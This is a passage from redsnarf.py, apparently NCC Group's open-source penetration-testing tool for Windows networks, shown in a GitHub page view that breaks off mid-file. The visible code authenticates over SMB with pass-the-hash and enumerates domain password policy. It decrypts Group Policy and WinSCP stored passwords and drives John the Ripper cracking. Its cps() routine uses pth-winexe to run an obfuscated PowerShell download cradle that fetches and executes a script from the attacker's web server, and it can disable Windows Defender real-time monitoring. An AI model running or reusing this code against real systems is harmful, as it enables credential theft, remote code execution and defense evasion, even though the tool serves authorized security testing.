-
Notifications
You must be signed in to change notification settings - Fork 238
/
Copy pathredsnarf.py
5403 lines (4416 loc) · 247 KB
/
redsnarf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#! /usr/bin/python
# Released as open source by NCC Group Plc - https://www.nccgroup.trust/uk/
# https://github.com/nccgroup/redsnarf
# Released under Apache V2 see LICENCE for more information
from __future__ import print_function
import os, argparse, signal, sys, re, binascii, subprocess, string, SimpleHTTPServer, multiprocessing, SocketServer
import socket, fcntl, struct, time, base64, logging, urllib
import time
import xml.etree.ElementTree as ET
try:
from nmb.NetBIOS import NetBIOS
except ImportError:
print("You need to install pysmb")
print("pip install pysmb")
logging.error("pysmb missing")
exit(1)
try:
from docopt import docopt
except ImportError:
print("You need to install docopt")
print("pip install docopt")
logging.error("docopt missing")
exit(1)
try:
from pykeyboard import PyKeyboard
except ImportError:
print("You need to install pyuserinput")
print("pip install pyuserinput")
logging.error("pyuserinput missing")
exit(1)
try:
from pymouse import PyMouseEvent
except ImportError:
print("You need to install pyuserinput")
print("pip install pyuserinput")
logging.error("pyuserinput missing")
exit(1)
try:
import wget
except ImportError:
print("You need to install wget")
print("pip install wget")
logging.error("wget missing")
exit(1)
try:
from libnmap.process import NmapProcess
except ImportError:
print("You need to install python-libnmap")
print(" git clone https://github.com/savon-noir/python-libnmap.git")
print(" cd python-libnmap")
print(" python setup.py install")
logging.error("NmapProcess missing")
exit(1)
try:
from libnmap.parser import NmapParser
except ImportError:
print("You need to install python-libnmap")
print(" git clone https://github.com/savon-noir/python-libnmap.git")
print(" cd python-libnmap")
print(" python setup.py install")
logging.error("NmapProcess missing")
exit(1)
from random import shuffle
# Logging definitions
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)s %(message)s', filename='redsnarf.log', filemode='a')
logging.debug("Command parameters run: %s", sys.argv[1:])
try:
import ldap
except ImportError:
print("Try installing these modules to help with this error")
print("run 'pip install python-ldap' to install ldap module.")
print("apt-get install libpq-dev python-dev libxml2-dev libxslt1-dev libldap2-dev libsasl2-dev libffi-dev")
print("apt-get install python2.7-dev")
logging.error("ldap dependencies missing")
exit(1)
try:
from IPy import IP
except ImportError:
print("You need to install IPy module: apt-get install python-ipy")
logging.error("IPy missing")
exit(1)
try:
from netaddr import IPNetwork
except ImportError:
print('Netaddr appears to be missing - try: pip install netaddr')
logging.error("Netaddr missing")
exit(1)
try:
from termcolor import colored
except ImportError:
print('termcolor appears to be missing - try: pip install termcolor')
logging.error("termcolor missing")
exit(1)
from Crypto.Cipher import DES3
from Crypto.Hash import SHA
from Crypto.Cipher import AES
from base64 import b64decode
from socket import *
from threading import Thread
from impacket.smbconnection import *
from random import randint
from base64 import b64encode
from base64 import b64decode
#####
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
from impacket.dcerpc.v5 import transport, samr
from impacket import ntlm
from time import strftime, gmtime
try:
raw_input # Python 2
except NameError:
raw_input = input # Python 3
yesanswers = ["yes", "y", "Y", "Yes", "YES", "pwn", "PWN"]
noanswers = ["no", "NO", "n", "N"]
events_logs = ["application","security","setup","system"]
def banner():
print("""
______ .____________ _____
\______ \ ____ __| _/ _____/ ____ _____ ________/ ____\
| _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\
| | \ ___// /_/ |/ \ | \/ __ \| | \/| |
|____|_ /\___ >____ /_______ /___| (____ /__| |__|
\/ \/ \/ \/ \/ \/
@redsnarf
""")
print(colored("\nE D Williams - NCCGroup",'red'))
class AbortMouse(PyMouseEvent):
def click(self, x, y, button, press):
if press:
self.stop()
# hardcoded XOR key
KEY = "12150F10111C1A060A1F1B1817160519".decode("hex")
def sitelist_xor(xs):
return ''.join(chr(ord(c) ^ ord(KEY[i%16]))for i, c in enumerate(xs))
def des3_ecb_decrypt(data):
# hardcoded 3DES key
key = SHA.new(b'<!@#$%^>').digest() + "\x00\x00\x00\x00"
# decrypt
des3 = DES3.new(key, DES3.MODE_ECB, "")
decrypted = des3.decrypt(data)
# quick hack to ignore padding
return decrypted[0:decrypted.find('\x00')] or "<empty>"
def dns_server_name(username,password,host,domain_name):
user=args.username.strip()
passw=args.password.strip()
passwd=''
if passw[len(passw)-3:] ==':::':
lmhash, nthash ,s1,s2,s3 = passw.split(':')
passwd=lmhash+":"+nthash
else:
lmhash = ''
nthash = ''
if nthash=='':
passwd=passw
try:
smbClient = SMBConnection(host, host, sess_port=int('445'),timeout=10)
x=smbClient.login(user, passwd, domain_name, lmhash, nthash)
if x==None or x==True:
return smbClient.getServerDNSDomainName()
except:
return "error"
#Finds if JTR Jumbo is installed and returns path
def jtr_jumbo_installed():
#Use README-jumbo as an indicator that Jtr Jumbo is installed
proc = subprocess.Popen("locate *README-jumbo", stdout=subprocess.PIPE,shell=True)
stdout_value = proc.communicate()[0]
if len(stdout_value)!=0:
jumbojohnpath=stdout_value[:-13]+"run/john"
if os.path.isfile(jumbojohnpath):
return jumbojohnpath
#WinSCP Decryption Routines
#Source: https://www.jonaslieb.com/blog/2015/02/20/winscp-session-password-decryption-part-2/
class Decrypter:
SIMPLE_STRING = "0123456789ABCDEF"
SIMPLE_MAGIC = 0xA3
def __init__(self, password):
self.data = password
def next(self):
a = self.SIMPLE_STRING.index(self.data[0])
b = self.SIMPLE_STRING.index(self.data[1])
result = ~(((a << 4) + b) ^ self.SIMPLE_MAGIC) % 256
self.discard(2)
return result
def discard(self, n=2):
self.data = self.data[n:]
def decrypt(hostname, username, password):
FLAG_SIMPLE = 0xFF
decrypter = Decrypter(password)
flag = decrypter.next()
if flag == FLAG_SIMPLE:
decrypter.discard(2)
length = decrypter.next()
else:
length = flag
offset = decrypter.next()
decrypter.discard(offset*2)
result = "".join([chr(decrypter.next()) for i in range(length)])
key = username + hostname
if flag == FLAG_SIMPLE and result.startswith(key):
return result[len(key):]
return result
#Code for Password Policy Retrievel
#source: https://github.com/Wh1t3Fox/polenum
def d2b(a):
tbin = []
while a:
tbin.append(a % 2)
a /= 2
t2bin = tbin[::-1]
if len(t2bin) != 8:
for x in xrange(6 - len(t2bin)):
t2bin.insert(0, 0)
return ''.join([str(g) for g in t2bin])
def convert(low, high, lockout=False):
time = ""
tmp = 0
if low == 0 and hex(high) == "-0x80000000":
return "Not Set"
if low == 0 and high == 0:
return "None"
if not lockout:
if (low != 0):
high = abs(high+1)
else:
high = abs(high)
low = abs(low)
tmp = low + (high)*16**8 # convert to 64bit int
tmp *= (1e-7) # convert to seconds
else:
tmp = abs(high) * (1e-7)
try:
minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp)))-1
except ValueError as e:
return "[-] Invalid TIME"
if days > 1:
time += "{0} days ".format(days)
elif days == 1:
time += "{0} day ".format(days)
if hours > 1:
time += "{0} hours ".format(hours)
elif hours == 1:
time += "{0} hour ".format(hours)
if minutes > 1:
time += "{0} minutes ".format(minutes)
elif minutes == 1:
time += "{0} minute ".format(minutes)
return time
class SAMRDump:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
}
def __init__(self, protocols=None,
username='', password=''):
if not protocols:
protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
self.__username = username
self.__password = password
self.__protocols = protocols
def dump(self, addr):
"""Dumps the list of users and shares registered present at
addr. Addr is a valid host name or IP address.
"""
encoding = sys.getdefaultencoding()
print('\n')
if (self.__username and self.__password):
print('[+] Attaching to {0} using {1}:{2}'.format(addr, self.__username, self.__password))
elif (self.__username):
print('[+] Attaching to {0} using {1}'.format(addr, self.__username))
else:
print('[+] Attaching to {0} using a NULL share'.format(addr))
# Try all requested protocols until one works.
for protocol in self.__protocols:
try:
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
except KeyError:
print("\n\t[!] Invalid Protocol '{0}'\n".format(protocol))
sys.exit(1)
print("\n[+] Trying protocol {0}...".format(protocol))
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password)
try:
self.__fetchList(rpctransport)
except Exception as e:
print('\n\t[!] Protocol failed: {0}'.format(e))
else:
# Got a response. No need for further iterations.
self.__pretty_print()
break
def __fetchList(self, rpctransport):
dce = DCERPC_v5(rpctransport)
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY)
dce.bind(samr.MSRPC_UUID_SAMR)
# Setup Connection
resp = samr.hSamrConnect2(dce)
if resp['ErrorCode'] != 0:
raise Exception('Connect error')
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'],enumerationContext=0,preferedMaximumLength=500)
if resp2['ErrorCode'] != 0:
raise Exception('Connect error')
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'],
name=resp2['Buffer']['Buffer'][0]['Name'])
if resp3['ErrorCode'] != 0:
raise Exception('Connect error')
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'],
desiredAccess=samr.MAXIMUM_ALLOWED,
domainId=resp3['DomainId'])
if resp4['ErrorCode'] != 0:
raise Exception('Connect error')
self.__domains = resp2['Buffer']['Buffer']
domainHandle = resp4['DomainHandle']
# End Setup
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
self.__min_pass_len = re['Buffer']['Password']['MinPasswordLength'] or "None"
self.__pass_hist_len = re['Buffer']['Password']['PasswordHistoryLength'] or "None"
self.__max_pass_age = convert(int(re['Buffer']['Password']['MaxPasswordAge']['LowPart']), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart']))
self.__min_pass_age = convert(int(re['Buffer']['Password']['MinPasswordAge']['LowPart']), int(re['Buffer']['Password']['MinPasswordAge']['HighPart']))
self.__pass_prop = d2b(re['Buffer']['Password']['PasswordProperties'])
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
self.__rst_accnt_lock_counter = convert(0, re['Buffer']['Lockout']['LockoutObservationWindow'], lockout=True)
self.__lock_accnt_dur = convert(0, re['Buffer']['Lockout']['LockoutDuration'], lockout=True)
self.__accnt_lock_thres = re['Buffer']['Lockout']['LockoutThreshold'] or "None"
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
self.__force_logoff_time = convert(re['Buffer']['Logoff']['ForceLogoff']['LowPart'], re['Buffer']['Logoff']['ForceLogoff']['HighPart'])
def __pretty_print(self):
PASSCOMPLEX = {
5: 'Domain Password Complex:',
4: 'Domain Password No Anon Change:',
3: 'Domain Password No Clear Change:',
2: 'Domain Password Lockout Admins:',
1: 'Domain Password Store Cleartext:',
0: 'Domain Refuse Password Change:'
}
print('\n[+] Found domain(s):\n')
for domain in self.__domains:
print('\t[+] {0}'.format(domain['Name']))
print("\n[+] Password Info for Domain: {0}".format(self.__domains[0]['Name']))
print("\n\t[+] Minimum password length: {0}".format(self.__min_pass_len))
print("\t[+] Password history length: {0}".format(self.__pass_hist_len))
print("\t[+] Maximum password age: {0}".format(self.__max_pass_age))
print("\t[+] Password Complexity Flags: {0}\n".format(self.__pass_prop or "None"))
for i, a in enumerate(self.__pass_prop):
print("\t\t[+] {0} {1}".format(PASSCOMPLEX[i], str(a)))
print("\n\t[+] Minimum password age: {0}".format(self.__min_pass_age))
print("\t[+] Reset Account Lockout Counter: {0}".format(self.__rst_accnt_lock_counter))
print("\t[+] Locked Account Duration: {0}".format(self.__lock_accnt_dur))
print("\t[+] Account Lockout Threshold: {0}".format(self.__accnt_lock_thres))
print("\t[+] Forced Log off Time: {0}".format(self.__force_logoff_time))
def cps(script,flag,invfunc,funccmd,chost,system):
try:
print(colored("[+]Checking for "+script,'green'))
if not os.path.isfile('./'+script):
print(colored("[-]Cannot find "+script,'red'))
exit(1)
print(colored("[+]Looks good",'green'))
#Check to make sure port is not already in use
for i in xrange(10):
PORT = randint(49151,65535)
proc = subprocess.Popen('netstat -nat | grep '+str(PORT), stdout=subprocess.PIPE,shell=True)
stdout_value = proc.communicate()[0]
if len(stdout_value)>0:
break
my_ip=get_ip_address('eth0')
print(colored("[+]Attempting to Run "+script,'green'))
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("",PORT), Handler)
print(colored("[+]Starting web server:"+my_ip+":"+str(PORT)+"",'green'))
server_process = multiprocessing.Process(target=httpd.serve_forever)
server_process.daemon = True
server_process.start()
x=' '
if flag=="AV":
#Get Windows Defender status and store status
print(colored("[+]Getting Windows Defender Status",'yellow'))
line="Get-MpPreference | fl DisableRealtimeMonitoring"
en = b64encode(line.encode('UTF-16LE'))
proc = subprocess.Popen("/usr/bin/pth-winexe -U \""+domain_name+"\\"+user+"%"+passw+"\" --uninstall --system \/\/"+chost+" \"cmd /c echo . | pow^eRSheLL^.eX^e -NonI -NoP -ExecutionPolicy ByPass -E "+en+"\" 2>/dev/null", stdout=subprocess.PIPE,shell=True)
stdout_value = proc.communicate()[0]
if "DisableRealtimeMonitoring : False" in stdout_value:
print(colored("[+]Windows Defender RealTimeMonitoring Turned On",'yellow'))
AVstatus='On'
else:
print(colored("[+]Windows Defender RealTimeMonitoring Turned Off",'yellow'))
AVstatus='Off'
#Debug
#-ConType bind -Port 5900 -Password P@ssw0rd
if invfunc =="Invoke-Vnc" and funccmd =="vnc":
funccmd="-ConType bind -Port 5900 -Password P@ssw0rd"
if flag=="AV":
#If Windows Defender is turned on turn off
if AVstatus=='On':
response = raw_input("Would you like to temporarily disable Windows Defender Realtime Monitoring: Y/(N) ")
if response in yesanswers:
print(colored("[+]Turning off Temporarily Windows Defender Realtime Monitoring...",'blue'))
line="Set-MpPreference -DisableRealtimeMonitoring $true\n"
en = b64encode(line.encode('UTF-16LE'))
os.system("/usr/bin/pth-winexe -U \""+domain_name+"\\"+user+"%"+passw+"\" --uninstall --system \/\/"+chost+" \"cmd /c echo . | pow^eRSheLL^.eX^e -NonI -NoP -ExecutionPolicy ByPass -E "+en+"\" 2>/dev/null")
#Prepare string
line = "iex ((&(`G`C`M *w-O*) \"N`Et`.`WeBc`LiEnt\").\"DO`wNlo`AdSt`RiNg\"('http://"+str(my_ip).rstrip('\n')+":"+str(PORT)+"/"+script+"'));"+randint(1,50)*x+invfunc+randint(1,50)*x+funccmd
else:
line = "iex ((&(`G`C`M *w-O*) \"N`Et`.`WeBc`LiEnt\").\"DO`wNlo`AdSt`RiNg\"('http://"+str(my_ip).rstrip('\n')+":"+str(PORT)+"/"+script+"'));"+randint(1,50)*x+invfunc+randint(1,50)*x+funccmd
print(colored("[+] Using: "+line,'yellow'))
en = b64encode(line.encode('UTF-16LE'))
print(colored("[+] Encoding command: "+en,'yellow'))
if system=="system":
os.system("/usr/bin/pth-winexe -U \""+domain_name+"\\"+user+"%"+passw+"\" --uninstall --system \/\/"+chost+" \"cmd /c echo . | pow^eRSheLL^.eX^e -NonI -NoP -ExecutionPolicy ByPass -E "+en+"\" 2>/dev/null")
else:
os.system("/usr/bin/pth-winexe -U \""+domain_name+"\\"+user+"%"+passw+"\" --uninstall \/\/"+chost+" \"cmd /c echo . | pow^eRSheLL^.eX^e -NonI -NoP -ExecutionPolicy ByPass -E "+en+"\" 2>/dev/null")
if flag=="AV":
#If Windows Defender AV status was on, turn it back on
if AVstatus=='On':
if response in yesanswers:
print(colored("[+]Turning back on Windows Defender Realtime Monitoring...",'blue'))
line="Set-MpPreference -DisableRealtimeMonitoring $false\n"
en = b64encode(line.encode('UTF-16LE'))
os.system("/usr/bin/pth-winexe -U \""+domain_name+"\\"+user+"%"+passw+"\" --uninstall --system \/\/"+chost+" \"cmd /c echo . | pow^eRSheLL^.eX^e -NonI -NoP -ExecutionPolicy ByPass -E "+en+"\" 2>/dev/null")
except IOError as e:
print("I/O error({0}): {1}".format(e.errno, e.strerror))
#Routine decrypts cpassword values
def gppdecrypt(cpassword_pass):
#Original code taken from the resource below.
#https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py
key = binascii.unhexlify("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
cpassword = cpassword_pass
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
print(colored('Your cpassword is '+o[:-ord(o[-1])].decode('utf16'),'green'))
def bashversion():
installedversion = bashcompleteversioncheck("/etc/bash_completion.d/redsnarf.rc")
bundleversion = bashcompleteversioncheck("redsnarf.rc")
if installedversion=="NoExist" or installedversion=="Unknown":
return "Bash Tab Completion Not Configured"
elif installedversion<bundleversion:
return "You need to update your Bash Tab Completion file, Version "+bundleversion+" is available."
elif installedversion==bundleversion:
return "Bash Tab Completion Installed & Up-to-date"
def bashcompleteversioncheck(FilePath):
#/etc/bash_completion.d/redsnarf.rc
if not os.path.isfile(FilePath):
return "NoExist"
elif os.path.isfile(FilePath):
bashlines = []
with open(FilePath,'r') as inifile:
data=inifile.read()
bashlines=data.splitlines()
#Make sure that the list of bashlines is greater than 0
if len(bashlines)>0:
if 'Version' in bashlines[0]:
versionnum=bashlines[0].split(",", 1)[1]
else:
versionnum="Unknown"
return versionnum
#Routine helps start John the Ripper Jumbo
def quickjtrjumbo(filename, jtrjumbopath):
#Set our variables/etc up
LogicRule = []
LogicRule.append("AppendNumbers_and_Specials_Simple")
LogicRule.append("L33t")
LogicRule.append("AppendYears")
LogicRule.append("AppendSeason")
LogicRule.append("PrependAppend1-4")
LogicRule.append("ReplaceNumbers")
LogicRule.append("AddJustNumbersLimit8")
LogicRule.append("ReplaceLetters")
LogicRule.append("ReplaceLettersCaps")
WordList=""
KoreRuleToUse=""
#Setup if we're going to use a wordlist or not
if os.path.isfile("/usr/share/wordlists/rockyou.txt"):
print(colored("[+]Detected /usr/share/wordlists/rockyou.txt",'green'))
UseRockYou = raw_input("Would you like to use rockyou.txt as your wordlist?: Y/(N) ")
if UseRockYou in yesanswers:
print(colored("[+]Selected as wordlist - /usr/share/wordlists/rockyou.txt",'green'))
WordList = "/usr/share/wordlists/rockyou.txt"
elif UseRockYou in noanswers:
Alternative = raw_input("Would you like to use an alternative wordlist?: Y/(N) ")
if Alternative in yesanswers:
WordList = raw_input("Enter path to wordlist: ")
if os.path.isfile(WordList):
print(colored("[+]Selected as wordlist - "+WordList,'green'))
else:
print(colored("[-]Selected wordlist - "+WordList+" doesn't exist...",'red'))
sys.exit()
else:
WordList = ""
else:
WordList=""
#If we're using a wordlist check to see if KoreLogicRules are installed and
#see if we want to use them
if WordList!="":
print(colored("[+]KoreLogic Rules are installed",'green'))
UseKoreLogic = raw_input("Would you like to use KoreLogicRules?: Y/(N) ")
#If KoreLogic is installed and we want to use it
if UseKoreLogic in yesanswers:
print(colored("[+]Some common rules are:",'green'))
print(colored("[0]AppendNumbers_and_Specials_Simple",'blue'))
print(colored("[1]L33t",'blue'))
print(colored("[2]AppendYears",'blue'))
print(colored("[3]AppendSeason",'blue'))
print(colored("[4]PrependAppend1-4",'blue'))
print(colored("[5]ReplaceNumbers",'blue'))
print(colored("[6]AddJustNumbersLimit8",'blue'))
print(colored("[7]ReplaceLetters",'blue'))
print(colored("[8]ReplaceLettersCaps",'blue'))
print(colored("[9]Other",'blue'))
KoreLogicRule = raw_input("Please enter the number of the rule you wish to use: ")
if KoreLogicRule=="9":
KoreRuleToUse=raw_input("Please enter the rule you wish to use: ")
if KoreRuleToUse=="":
print(colored("[-]No rule entered...",'red'))
#exit(1)
else:
print(colored("[+]Selected KoreLogicRule - "+ KoreRuleToUse,'green'))
else:
print(colored("[+]Selected KoreLogicRule - "+ str(LogicRule[int(KoreLogicRule)]),'green'))
KoreRuleToUse = str(LogicRule[int(KoreLogicRule)])
#If no wordlist and no korelogic is selected
if WordList=="" and KoreRuleToUse=="":
print(colored("[+]Starting John The Ripper with No Wordlist or KoreLogicRules",'yellow'))
print(colored("[+]"+jtrjumbopath+" --format=krb5tgs "+str(filename),'yellow'))
os.system(jtrjumbopath+" --format=krb5tgs "+str(filename))
#If a wordlist is selected and we're not using korelogic
elif WordList!="" and KoreRuleToUse=="":
print(colored("[+]Starting John The Ripper with Wordlist and No KoreLogicRules",'yellow'))
print(colored("[+]"+jtrjumbopath+" --format=krb5tgs "+str(filename)+ " --wordlist="+WordList+" --rules",'yellow'))
os.system(jtrjumbopath+" --format=krb5tgs "+str(filename)+ " --wordlist=" +WordList+" --rules")
#If we're using a wordlist and we're using korelogic
elif WordList!="" and KoreRuleToUse!="":
print(colored("[+]Starting John The Ripper with Wordlist and KoreLogicRules",'yellow'))
print(colored("[+]"+jtrjumbopath+" --format=krb5tgs "+str(filename)+ " --wordlist="+WordList+" --rules:"+KoreRuleToUse,'yellow'))
os.system(jtrjumbopath+" --format=krb5tgs "+str(filename)+ " --wordlist=" +WordList+" --rules:"+KoreRuleToUse)
#Routine helps start John the Ripper
def quickjtr(filename):
#Set our variables/etc up
LogicRule = []
LogicRule.append("KoreLogicRulesAppendNumbers_and_Specials_Simple")
LogicRule.append("KoreLogicRulesL33t")
LogicRule.append("KoreLogicRulesAppendYears")
LogicRule.append("KoreLogicRulesAppendSeason")
LogicRule.append("KoreLogicRulesPrependAppend1-4")
LogicRule.append("KoreLogicRulesReplaceNumbers")
LogicRule.append("KoreLogicRulesAddJustNumbersLimit8")
LogicRule.append("KoreLogicRulesReplaceLetters")
LogicRule.append("KoreLogicRulesReplaceLettersCaps")
WordList=""
KoreRuleToUse=""
#Setup if we're going to use a wordlist or not
if os.path.isfile("/usr/share/wordlists/rockyou.txt"):
print(colored("[+]Detected /usr/share/wordlists/rockyou.txt",'green'))
UseRockYou = raw_input("Would you like to use rockyou.txt as your wordlist?: Y/(N) ")
if UseRockYou in yesanswers:
print(colored("[+]Selected as wordlist - /usr/share/wordlists/rockyou.txt",'green'))
WordList = "/usr/share/wordlists/rockyou.txt"
elif UseRockYou in noanswers:
Alternative = raw_input("Would you like to use an alternative wordlist?: Y/(N) ")
if Alternative in yesanswers:
WordList = raw_input("Enter path to wordlist: ")
if os.path.isfile(WordList):
print(colored("[+]Selected as wordlist - "+WordList,'green'))
else:
print(colored("[-]Selected wordlist - "+WordList+" doesn't exist...",'red'))
sys.exit()
else:
WordList = ""
else:
WordList=""
#If we're using a wordlist check to see if KoreLogicRules are installed and
#see if we want to use them
if WordList!="" and 'KoreLogicRules' in open("/etc/john/john.conf").read():
print(colored("[+]Detected that KoreLogicRules in installed in john.conf",'green'))
UseKoreLogic = raw_input("Would you like to use KoreLogicRules?: Y/(N) ")
#If KoreLogic is installed and we want to use it
if UseKoreLogic in yesanswers:
print(colored("[+]Some common rules are:",'green'))
print(colored("[0]KoreLogicRulesAppendNumbers_and_Specials_Simple",'blue'))
print(colored("[1]KoreLogicRulesL33t",'blue'))
print(colored("[2]KoreLogicRulesAppendYears",'blue'))
print(colored("[3]KoreLogicRulesAppendSeason",'blue'))
print(colored("[4]KoreLogicRulesPrependAppend1-4",'blue'))
print(colored("[5]KoreLogicRulesReplaceNumbers",'blue'))
print(colored("[6]KoreLogicRulesAddJustNumbersLimit8",'blue'))
print(colored("[7]KoreLogicRulesReplaceLetters",'blue'))
print(colored("[8]KoreLogicRulesReplaceLettersCaps",'blue'))
print(colored("[9]Other",'blue'))
KoreLogicRule = raw_input("Please enter the number of the rule you wish to use: ")
if KoreLogicRule=="9":
KoreRuleToUse=raw_input("Please enter the rule you wish to use: ")
if KoreRuleToUse=="":
print(colored("[-]No rule entered...",'red'))
#exit(1)
else:
print(colored("[+]Selected KoreLogicRule - "+ KoreRuleToUse,'green'))
else:
print(colored("[+]Selected KoreLogicRule - "+ str(LogicRule[int(KoreLogicRule)]),'green'))
KoreRuleToUse = str(LogicRule[int(KoreLogicRule)])
#If no wordlist and no korelogic is selected
if WordList=="" and KoreRuleToUse=="":
print(colored("[+]Starting John The Ripper with No Wordlist or KoreLogicRules",'yellow'))
print(colored("[+]john --format=nt "+str(filename)+ " --rules",'yellow'))
os.system("john --format=nt "+str(filename)+" --rules")
#If a wordlist is selected and we're not using korelogic
elif WordList!="" and KoreRuleToUse=="":
print(colored("[+]Starting John The Ripper with Wordlist and No KoreLogicRules",'yellow'))
print(colored("[+]john --format=nt "+str(filename)+ " --wordlist="+WordList+" --rules",'yellow'))
os.system("john --format=nt "+str(filename)+ " --wordlist=" +WordList+" --rules")
#If we're using a wordlist and we're using korelogic
elif WordList!="" and KoreRuleToUse!="":
print(colored("[+]Starting John The Ripper with Wordlist and KoreLogicRules",'yellow'))
print(colored("[+]john --format=nt "+str(filename)+ " --wordlist="+WordList+" --rules:"+KoreRuleToUse,'yellow'))
os.system("john --format=nt "+str(filename)+ " --wordlist=" +WordList+" --rules:"+KoreRuleToUse)
#Routine Write out a batch file which can be used to turn on/off LocalAccountTokenFilterPolicy
def WriteLAT():
try:
print(colored("[+]Attempting to write Local Account Token Filter Policy ",'green'))
logging.info("[+]Attempting to write Local Account Token Filter Policy ")
fout=open('/tmp/lat.bat','w')
fout.write('@echo off\n\n')
fout.write('cls\n')
fout.write('echo .\n')
fout.write('echo .\n')
fout.write('echo LocalAccountTokenFilterPolicy Enable/Disable Script\n')
fout.write('echo NCCGroup \n')
fout.write('echo .\n')
fout.write('echo .\n')
fout.write('echo [+] Searching Registry......\n')
fout.write('echo .\n')
fout.write('reg.exe query "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v "LocalAccountTokenFilterPolicy" | Find "0x1"\n')
